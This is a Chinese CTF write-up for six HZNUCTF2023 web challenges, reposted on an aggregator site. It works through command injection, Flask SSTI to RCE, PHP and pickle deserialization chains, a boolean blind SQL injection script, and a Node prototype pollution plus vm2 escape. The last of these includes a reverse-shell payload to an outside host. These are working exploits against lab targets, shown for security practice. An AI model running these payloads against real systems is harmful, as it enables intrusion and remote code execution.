HZNUCTF2023 web

news2024/12/23 17:21:37

目录

<1> guessguessguess

<2> ezflask(无过滤ssti)

​ <3> ppppop(cookie泄露+反序列化)

<4> ezlogin(bool盲注)

<5> ezpickle(pickle反序列化)

<6> eznode(原型链污染)


<1> guessguessguess

尝试是否存在sql注入,发现他会对内容进行倒叙  框里有一个hint 我们试着 传入 tnih 看看有什么

金 "命令执行" 同时参数名为 cmd 应该是命令执行

ls /看一下,没找到flag 

最后执行 env flag在环境变量里

<?php
$userArr = array("username: admin<br>password: admin","username: docker<br>password: docker", "username: mxx307<br>password: mxxxxxxx3333000777", "username: FLAG_IN_HERE<br>password: 不给你看");

$cmd = strrev($_POST['cmd']);
if($cmd != 'hint' && $cmd != 'phpinfo'){
    echo "your SQL: SELECT * FROM users WHERE id=$cmd";
    echo "<br>";
}
if($cmd == "phpinfo") {
    eval('phpinfo();');
} else if(preg_match('/127.0.0.1/',$cmd) && !preg_match('/;|&/',$cmd )) {
    system('ping '.$cmd);
} else if($cmd == "hint") {
    echo '可爱的CTFer哟,你掉的是这个金"命令执行",还是这个银"XSS"还是这个普通的"SQL注入"呢?';
}else if(preg_match('/^\d$/',$cmd, $matches)) {
    if($matches[0] <= 4 && $matches[0] >= 1){
        echo $userArr[$matches[0] - 1];
    } else {
        echo "no user";
    }
}else {
    echo "猜猜猜";
}

<2> ezflask(无过滤ssti)

结合名称 + 提示 /?name= 应该是考察SSTI

传入?name=123 看看 

和guess差不多,依然是倒序 传入 }}7*7{{ 得到回显是49

在线文本反转_字符串反转_实时逆序字符串文本_汇享在线工具箱 

找基类 下面的记得反转

{{"".__class__}} 得到空字符串类 <class 'str'>

 {{"".__class__.__mro__}}  得到:<class 'tuple'>, <class 'object'>

 {{"".__class__.__mro__[-1]}} 得到 <class 'object'>

得到基类之后,找到这个基类的子类集合

{{"".__class__.__mro__[-1].__subclasses__()}}

这里使用其第133个类([0]是第一个类 因此第133个是[132] )<class 'os._wrap_close'>

<class 'os._wrap_close'> 这个类有个popen方法可以执行系统命令

实例化我们找到的类对象

 {{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}

找到这个实例化对象的所有方法

{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}} 

调用popen方法,进行rce 在环境变量里得到flag

{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('env').read()}}

<3> ppppop(cookie泄露+反序列化)

进去一片空白,在cookie中发现了一串base64编码

Cookie:user=Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MDt9

解码后得到一串序列化格式的字符串:O:4:"User":1:{s:7:"isAdmin";b:0;}

应该是判断是否Admin 这里bool值为0 所以空白 改为1 base64加密后放到cookie里访问试试

Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MTt9

得到源码:

<?php
error_reporting(0);
include('utils.php');

class A {
    public $className;
    public $funcName;
    public $args;

    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
}

if(checkUser()) {
    highlight_file(__FILE__);
    $payload = strrev(base64_decode($_POST['payload']));
    unserialize($payload);
}

就一个节点,很短的链子:A::__destruct() => B::__call()

利用点在于 触发 __call() 

__call() 在一个对象的上下文中,如果调用的方法不存在的时候,它将被触发

 poc如下:

<?php
class A {
    public $className;
    public $funcName;
    public $args;
}

class B {

}
$a = new A();
$b = new B();
$a->className = $b;
$a->funcName = "system";
$a->args = "env";
echo base64_encode(strrev(serialize($a)));
?>

注:记得带着构造好的cookie

<4> ezlogin(bool盲注)

题目进去之后 是一个登录框 源码里给出了一部分过滤的关键词

同时,可以知道传入的username参数 是经过base64解码翻转才得到的

$username = strrev(base64_decode($_POST['username']));
$username = preg_replace('/select|union|and|database/', "hznuctf2023", $username);

这样的话,写脚本就麻烦一些了 我们先fuzz一下看看还有没有过滤其他的关键词

 like   or    #   ord   if   left   right  ||  ^  >  < 等都没被过滤

1'/**/or/**/1/**/like/**/1#

 为真的话 就回显:success!! you are the best web手

假: username or password is invalid

可以以此盲注

preg_replace可以大写绕过,SELECT DATABASE

 poc脚本如下:

import base64
import requests
import time

s = requests.session()
url = "http://node2.anna.nssctf.cn:28876/"
flag = ''
i=0
while True:
    i = i + 1
    Max = 128
    Min = 32
    Mid = (Max + Min) // 2
    while Min < Max:
        #payload = "1^(substr(database(),{},1)='{}')^1".format(i,j)
        #payload = "1'/**/or/**/(ord(substr(DATABASE(),{},1))/**/>/**/{})#".format(i,Mid)
        #payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(TABLE_NAME)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA/**/like/**/'users'),{},1))/**/>/**/{})#".format(i,Mid)
        #payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(COLUMN_NAME)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME/**/like/**/'user'),{},1))/**/>/**/{})#".format(i, Mid)
        payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(Password)/**/FROM/**/user),{},1))/**/>/**/{})#".format(i, Mid)

        payload = base64.b64encode(payload[::-1].encode('utf-8')).decode('utf-8')
        data={
            'username':payload
        }
        r = requests.post(url=url,data=data)
        if "success" in r.text:
            Min = Mid + 1
            Mid = (Min + Max) // 2
        else:
            Max = Mid
            Mid = (Min + Max) // 2

    flag = flag + chr(Mid)
    if Mid == 32:
        break
    print(flag)
    # 速度太快显示不完全
    time.sleep(0.5)

数据库为:users 表名为:user 字段得到:Host,User,Password,Select_priv,Insert_priv等等

<5> ezpickle(pickle反序列化)

import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0')

可以看到在 /calc路由  可以get传入payload参赛,会被 pickle.loads()  存在pickle反序列化

题目中过滤了os,我们使用字符串拼接绕过.

题目中还有一个读文件的路由,那么我们就将我们想要得知的命令执行的结果通过tee写到a中,然后通过/readFile路由读取命令执行结果

poc如下:

import pickle
import base64

class A():
    def __reduce__(self):
        return (eval,("__import__('o'+'s').system('env | tee a')",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

也可以用 exec来命令执行,import一下base64 对命令编码一下

def __reduce__(self):
        cmd = f'import base64; exec(base64.b64decode("{encoded_payload}"));'
        return exec, (cmd,)

如果靶机不出网的话还可以用os.popen结合time.sleep盲注(姿势太多了)

<6> eznode(原型链污染)

 进去之后 得到提示:

POST some json shit to /. no source code and try to find source code

一般nodejs网站的源文件是app.js 访问 /app.js 得到源码


const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

审计一下

这里存在backdoor方法,其中创建了一个VM环境,将shellcode属性放在其中执行,这里存在vm沙箱逃逸 利用原型链污染 写入shellcode执行

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

再看一下,怎么执行这个backdoor() 方法 发现需要满足 copybody.shit 值为true

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

可以看到 copybody属性执行了一次clone,跟进clone 典型的merge的原型链污染

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}

因此我们这里的思路就是需要传入一个json格式的shit属性,其值为1即可,然后通过原型链污染,将shellcode属性赋值为恶意代码,最后的payload如下

{"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n    res.toString.constructor(\"return this\")\n    ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/vps/ip 0>&1\"').toString();"}}

注:请求头需要为Content-Type: application/json

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/500208.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

03- 目标检测数据集和标注工具介绍 (目标检测)

要点&#xff1a; 常用数据集和标注工具 标注工具 PPOCRLabel github地址&#xff1a;paddleocrlabel 参考文档&#xff1a;目标检测简介 - 知乎 一 目标检测数据集 1. PASCAL VOC VOC数据集是目标检测经常用的一个数据集&#xff0c;自2005年起每年举办一次比赛&#xff…

JWT快速入门及日常使用

什么是JWT JSON Web Token&#xff0c;通过数字签名的方式&#xff0c;以json对象为载体&#xff0c;在不同服务端之间安全的传输信息 JWT有什么用 JWT最常见的场景就是授权认证&#xff0c;一旦用户登录&#xff0c;后续每个请求都将包含JWT&#xff0c;系统每次处理用户请求前…

总结下自己编译alembic的过程

编译alembic过程回顾 前言 总结下自己编译alembic的过程 最近想学习编译啥的&#xff0c;就想着一边编译着&#xff0c;一边学习的&#xff0c;刚好&#xff0c;拿alembic编译练手&#xff0c;记录下自己编译的过程吧。 编译的使用的是Visual Studio 2022&#xff0c;python…

【性能设计篇】性能设计-缓存

前言 在分布式系统中&#xff0c;最耗费性能的地方就是数据库&#xff0c;而对于数据库的操作基本上就是添加&#xff0c;修改&#xff0c;删除和查询&#xff0c;对于前3者来说&#xff0c;基本上不会出现性能瓶颈。最耗费性能的地方就是查询了&#xff0c;对于查询有join、w…

Kafka相关知识

一、基本概念及流程 Broker:kafka集群中的实例Topic:队列的主题,逻辑概念;Partition:Topic分区,物理概念,同意parttion内消息有序;Producer & Consumer:生产消息的客户端 & 消费消息的客户端,kafka认为是服务器。将每个Topic划分为多个分区Partition,每个分…

Vim (NeoVim) 配置

Vim 基础 模式 o 代表的是open a new line i 代表的是insert a 代表的是append Visual [Character] 视觉模式&#xff1a;用于选择单个字符&#xff08;v小写’v’&#xff09;视觉线模式&#xff1a;用于一次选择整条线&#xff08;V大写“V”&#xff09;视觉块模式&#…

深度学习数据集—动物数据集大合集(二)

近期又整理了一批各类动物数据集&#xff0c;分享给大家。废话不多说&#xff0c;直接上干货&#xff01;&#xff01; 1、151种动物图片数据集共6271张&#xff0c;图片大小&#xff1a;224x224 jpg ​ ​ 下载地址&#xff1a;151种动物图片数据集 2、9种海洋生物&#xff0…

C++学习之字符常量、字符串常量和符号常量的区别

字符常量 字符常量就是把一个字符用单引号括起来。 注&#xff1a; 字符常量只能包含一个字符&#xff0c;如’AB’是不合法的字符常量区分大小写字母单引号“ ’ ”是定界符&#xff0c;而不属于字符常量的一部分 字符串常量 字符串常量时用双引号括起来的字符序列。 举例…

kill 命令信号详解

信号 列出所有信号 $ kill -l1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT 17) SIGCHLD 18…

【数据结构】交换排序(详细)

交换排序 1. 冒泡排序2. 快速排序2.1霍尔版本2.2 挖坑法2.3 前后指针法&#xff08;最优&#xff09;2.4 小区间优化2.5 非递归快排 1. 冒泡排序 思想 排升序&#xff1a;每趟将前后两元素进行比较&#xff0c;按照“前小后大”进行交换&#xff0c;将最大的元素放在最后。 排…

Solr(3):Solr的名词解释及配置文件说明

1 名称解释 1.1 索引库 我们导入数据&#xff0c;solr 会被它以某种格式保存在索引库里面&#xff01; 可以看出刚安装的现在没有任何索引库 1.2 索引分词 Solr在导入数据库时&#xff0c;会对某些语句进行分词 1.3 搜索分词 Solr在搜索数据库时&#xff0c;会对某些语句进…

PyQt5桌面应用开发(10):界面布局基本支持

本文目录 PyQt5桌面应用系列布局利器游戏总结 PyQt5桌面应用系列 PyQt5桌面应用开发&#xff08;1&#xff09;&#xff1a;需求分析 PyQt5桌面应用开发&#xff08;2&#xff09;&#xff1a;事件循环 PyQt5桌面应用开发&#xff08;3&#xff09;&#xff1a;并行设计 PyQt5桌…

星火认知大模型发布,科大讯飞入场科技巨头AI大战?

自从ChatGPT横空出世&#xff0c;一个更美好的世界开始向我们招手。为了推开新时代的大门&#xff0c;几乎所有人工智能厂商都投入了最大的热情逐浪AIGC。 5月6日&#xff0c;科大讯飞召开了“讯飞星火认知大模型”成果发布会。发布会现场&#xff0c;科大讯飞董事长刘庆峰展示…

Hadoop[3.3.x]-1本地环境搭建

环境&#xff1a;Mac Hadoop版本&#xff1a;Apache Hadoop 3.3.4 由于hadoop依赖java环境&#xff0c;所以需要事先安装好java。 Hadoop下载 进入官网进行下载Apache Hadoop 下载后解压到自己的规划的目录。 环境文件配置 Hadoop相关配置文件都在目录的../hadoop-3.3.4/et…

Vulkan 总结

一、Vulkan 对象简介 1、VKInstance 这个对象是我们 Vulkan api 的一个对象&#xff0c;用于通过 Instance 我们与 Vulkan 底层进行交互。 2、VkPhysicalDevice 对应我们当前设备&#xff08;PC、手机&#xff09;的一个显卡硬件&#xff08;GPU &#xff09;&#xff0c;有的…

如何导出cloudflare warp内部存的私钥和token

结论&#xff1a;管理员身份运行 mimikatz&#xff1a;https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20220919 然后输入&#xff1a; privilege::debug &#xff08;提升权限到&#xff1a;NT-AUTHORITY\SYSTEM&#xff09;以及sekurlsa::credman 就能看到&…

Java中的反射(通过反射获取类的结构、invoke方法、获取注解)

文章目录 1. 创建运行时类的对象2. 获取运行时类的完整结构2.1 相关API2.2 获取所有的属性及相关细节2.3 获取所有的方法及相关细节2.4 获取其他结构(构造器、父类、接口、包、注解等)2.5 获取泛型父类信息2.6 获取内部类或外部类信息2.7 总 结 3. 调用运行时类的指定结构3.1 调…

HDOJ 1022 Train Problem Ⅰ 模拟栈操作

&#x1f351; OJ专栏 &#x1f351; HDOJ 1022 Train Problem Ⅰ 输入 3 123 321 3 123 312输出 Yes. in in in out out out FINISH No. FINISH&#x1f351; 思路 &#x1f364; 栈顶元素与目标元素不匹配就进栈&#xff0c;匹配就出栈 &#x1f364; 匹配完&#xff1a;y…

es 7.0.8 常用操作(windwos版本安装,索引crud操作)

一 es7.x的核心 1.1 es的核心概念 1.ES 里的 Index 可以看做一个库(名称必须为小写)&#xff0c;而 Types 相当于表&#xff0c;Documents 则相当于表的行。 2.这里 Types 的概念已经被逐渐弱化&#xff0c;Elasticsearch 6.X 中&#xff0c;一个 index 下已经只能包含一个…

分布式搜索引擎——elasticsearch搜索功能

DSL查询语法 DSL Query的分类 Elasticsearch提供了基于JSON的DSL (Domain Specific Language)来定义查询。常见的查询类型包括: 查询所有:查询出所有数据&#xff0c;一般测试用。例如:match_all全文检索(full text)查询:利用分词器对用户输入内容分词&#xff0c;然后去倒排…